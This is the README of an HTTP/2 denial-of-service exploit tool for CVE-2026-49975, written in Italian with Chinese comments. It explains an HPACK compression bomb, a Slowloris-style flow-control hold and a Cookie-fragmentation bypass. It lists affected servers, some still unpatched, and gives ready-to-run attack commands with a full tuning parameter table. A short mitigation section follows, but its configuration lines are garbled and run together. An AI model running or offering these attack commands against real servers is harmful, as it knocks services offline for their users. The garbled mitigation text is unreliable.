
CVE-2026-49975
Strumento di riproduzione della vulnerabilità di denial of service remota HTTP/2
CVE-2026-49975 è una vulnerabilità di denial of service HTTP/2 che colpisce i principali server web. È stata scoperta all'inizio di giugno 2026 dalla società di sicurezza Calif (utilizzando OpenAI Codex).
Bomba di compressione HPACK: inserisce header minuscoli (come "x: a") nella tabella dinamica HPACK del server, quindi invia migliaia di riferimenti di indice da 1 byte. Ogni riferimento costringe il server ad allocare una grande quantità di memoria per il bookkeeping, mentre il client consuma una larghezza di banda minima. Il rapporto di amplificazione della memoria può raggiungere ~5700:1 (Envoy) e ~4000:1 (Apache httpd).
Mantenimento tramite controllo di flusso Slowloris: impedisce al server di inviare risposte utilizzando una finestra di controllo di flusso a zero byte e invia a gocce frame WINDOW_UPDATE per mantenere viva la connessione, lasciando l'allocazione di memoria "bloccata".
Bypass tramite frammentazione dei Cookie: divide un grosso Cookie in molti piccoli frammenti per aggirare il limite del numero di header del server.
| Software | Versioni vulnerabili | Versioni corrette |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | Basato su nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | Nessuna patch |
| Cloudflare Pingora | Configurazione predefinita | Nessuna patch |
Questo strumento è destinato alla ricerca sulla sicurezza e ai test autorizzati, e dimostra il meccanismo di attacco della vulnerabilità CVE-2026-49975.
pip install -r requirements.txt
# 基础攻击
python http2_bomb.py example.com
# 针对本地 HTTP/2 测试服务器(无 TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# 高强度攻击(50 个 stream,每 stream 50000 个引用)
python http2_bomb.py example.com -s 50 -n 50000
# 启用 Cookie 分割绕过
python http2_bomb.py example.com --cookie-fragments 1000
# 快速模式(发送后不保持连接)
python http2_bomb.py example.com --no-hold
| Parametro | Descrizione | Valore predefinito |
|---|---|---|
target | Indirizzo host di destinazione | Obbligatorio |
-p, --port | Porta di destinazione | 443 |
--no-tls | Disabilita TLS | false |
-s, --streams | Numero di stream concorrenti | 10 |
-n, --headers-per-stream | Numero di riferimenti header per stream | 10000 |
--cookie-fragments | Numero di frammenti in cui dividere il Cookie | 0 |
--stream-delay | Ritardo di invio tra gli stream (secondi) | 0.01 |
--window-update-interval | Intervallo di invio di WINDOW_UPDATE | 5.0s |
--no-hold | Non mantenere la connessione dopo l'invio | false |
--timeout | Timeout del socket | 30 |
Usa test_server.py per avviare un semplice server HTTP/2 per la verifica locale:
# 生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# 启动测试服务器
python test_server.py --port 8443
# 运行攻击
python http2_bomb.py localhost -p 8443
Mitigazione immediata: se non è possibile applicare subito la patch, disabilitare temporaneamente HTTP/2
Protocols http/1.1http2 off;Applicare le patch:
Rafforzamento della configurazione:
max_headers (1000 di default in nginx 1.29.8+)Monitoraggio e allarmi:
⚠️ Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e a test di penetrazione autorizzati.
L'uso di questo strumento su sistemi altrui senza autorizzazione costituisce un reato. L'utente deve rispettare le leggi e le normative locali e testare solo target per cui dispone di un'autorizzazione legittima.
MIT License - per finalità di ricerca sulla sicurezza e di formazione.